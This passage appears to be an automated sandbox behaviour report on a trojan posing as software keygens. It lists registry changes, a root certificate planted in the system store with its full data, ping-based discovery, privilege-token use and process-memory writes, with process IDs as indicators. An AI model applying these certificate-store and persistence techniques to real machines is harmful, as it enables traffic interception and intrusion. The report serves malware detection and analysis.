Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}\1 = "28"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = cebdaaeda937d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 717ea1eaa937d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ}\1 = "4656"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000008d82272d1d8b047feb6c605976d263d9657f446fa2e45162e270cb47549869850ebeae4452777398a4c802bdbb606533faf3e3122c27e19bbcc865850f31250b6a135403ca181d4dfe041829c04c68341c51c49501aff28c0251dd2d6837b7eb0721acedb18ec29ba6c15b030eb5ea879937aa57f89baae6dbaa7ab532caa2302d886baf3cfa921a0fa0644496ba2c520147e6a2c00d03afea7524635d0a07fe14e87603ca7aa6434c3f7add287d84de5a1fd398cd24ce741851a0b40617b85fcae05a29e12fae12683f5c4cc01ce32190607ab0160034d3fedd90ce7b113efcd41248ec563a58f0c5409d6c6bb9e20878ab16c618c10d487bbb9f0252189088cd1ddc395cb95cefafe28e75c272c19ad19ed3bada8665560c8acd5d2d4c66129ba12a47cdcd315ab0c5bccc5d69efe864db7c9edb7111fcaae9834d01cda315a23e0649d196428c8c89316ca7bcbfcd12005c7324a19e77017a085319bba869a394edba7b3574216acf4c62358d3e81bcaed5795d367a5a69dc79c30036a2f51e43453109c8a5702c353158abfa3ff54386890f0e50f6ebaadfc1f81667014a7a8acce0f714	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

keygen-step-2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	keygen-step-2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	keygen-step-2.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

4888 PING.EXE
6096 PING.EXE
808 PING.EXE
2036 PING.EXE
4088 PING.EXE

pid	process
4888	PING.EXE
6096	PING.EXE
808	PING.EXE
2036	PING.EXE
4088	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exe2618420.exeultramediaburner.tmpSeqaejazhaety.exe

pid	process
3736	rundll32.exe
3736	rundll32.exe
1136	svchost.exe
1136	svchost.exe
5056	2618420.exe
5056	2618420.exe
3956	ultramediaburner.tmp
3956	ultramediaburner.tmp
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe
5036	Seqaejazhaety.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

MicrosoftEdgeCP.exetoolspab1.exe

pid process

5856 MicrosoftEdgeCP.exe
5856 MicrosoftEdgeCP.exe
5856 MicrosoftEdgeCP.exe
6048 toolspab1.exe

pid	process
5856	MicrosoftEdgeCP.exe
5856	MicrosoftEdgeCP.exe
5856	MicrosoftEdgeCP.exe
6048	toolspab1.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

rundll32.exetaskkill.exesvchost.exeJoSetp.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3956	taskkill.exe
Token: SeTcbPrivilege	1136	svchost.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	808	JoSetp.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeDebugPrivilege	3736	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	2696	svchost.exe
Token: SeIncreaseQuotaPrivilege	2696	svchost.exe
Token: SeSecurityPrivilege	2696	svchost.exe
Token: SeTakeOwnershipPrivilege	2696	svchost.exe
Token: SeLoadDriverPrivilege	2696	svchost.exe
Token: SeSystemtimePrivilege	2696	svchost.exe
Token: SeBackupPrivilege	2696	svchost.exe
Token: SeRestorePrivilege	2696	svchost.exe
Token: SeShutdownPrivilege	2696	svchost.exe
Token: SeSystemEnvironmentPrivilege	2696	svchost.exe
Token: SeUndockPrivilege	2696	svchost.exe
Token: SeManageVolumePrivilege	2696	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2696	svchost.exe
Token: SeIncreaseQuotaPrivilege	2696	svchost.exe
Token: SeSecurityPrivilege	2696	svchost.exe
Token: SeTakeOwnershipPrivilege	2696	svchost.exe
Token: SeLoadDriverPrivilege	2696	svchost.exe
Token: SeSystemtimePrivilege	2696	svchost.exe
Token: SeBackupPrivilege	2696	svchost.exe
Token: SeRestorePrivilege	2696	svchost.exe
Token: SeShutdownPrivilege	2696	svchost.exe
Token: SeSystemEnvironmentPrivilege	2696	svchost.exe
Token: SeUndockPrivilege	2696	svchost.exe
Token: SeManageVolumePrivilege	2696	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2696	svchost.exe
Token: SeIncreaseQuotaPrivilege	2696	svchost.exe
Token: SeSecurityPrivilege	2696	svchost.exe
Token: SeTakeOwnershipPrivilege	2696	svchost.exe
Token: SeLoadDriverPrivilege	2696	svchost.exe
Token: SeSystemtimePrivilege	2696	svchost.exe
Token: SeBackupPrivilege	2696	svchost.exe
Token: SeRestorePrivilege	2696	svchost.exe
Token: SeShutdownPrivilege	2696	svchost.exe
Token: SeSystemEnvironmentPrivilege	2696	svchost.exe
Token: SeUndockPrivilege	2696	svchost.exe
Token: SeManageVolumePrivilege	2696	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2696	svchost.exe
Token: SeIncreaseQuotaPrivilege	2696	svchost.exe
Token: SeSecurityPrivilege	2696	svchost.exe
Token: SeTakeOwnershipPrivilege	2696	svchost.exe
Token: SeLoadDriverPrivilege	2696	svchost.exe
Token: SeSystemtimePrivilege	2696	svchost.exe
Token: SeBackupPrivilege	2696	svchost.exe
Token: SeRestorePrivilege	2696	svchost.exe
Token: SeShutdownPrivilege	2696	svchost.exe
Token: SeSystemEnvironmentPrivilege	2696	svchost.exe
Token: SeUndockPrivilege	2696	svchost.exe
Token: SeManageVolumePrivilege	2696	svchost.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exeultramediaburner.tmp

pid process

856 iexplore.exe
856 iexplore.exe
3956 ultramediaburner.tmp

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

iexplore.exeIEXPLORE.EXExiuhuali.exeMicrosoftEdge.exegoogle-game.exeMicrosoftEdgeCP.exe

pid	process
856	iexplore.exe
856	iexplore.exe
3236	IEXPLORE.EXE
3236	IEXPLORE.EXE
3236	IEXPLORE.EXE
3236	IEXPLORE.EXE
1972	xiuhuali.exe
1972	xiuhuali.exe
4176	MicrosoftEdge.exe
4192	google-game.exe
4192	google-game.exe
5856	MicrosoftEdgeCP.exe
5856	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exeTurbo.C.4.0.Windows.7.Window.serial.number.maker.by.Lz0.execmd.exekeygen-step-5.exekeygen-pr.exePING.EXEkey.exekeygen-step-4.execmd.exekeygen-step-3.exexiuhuali.exeRWD_.execmd.exemshta.exekeygen-step-2.exe

description	pid	process	target process
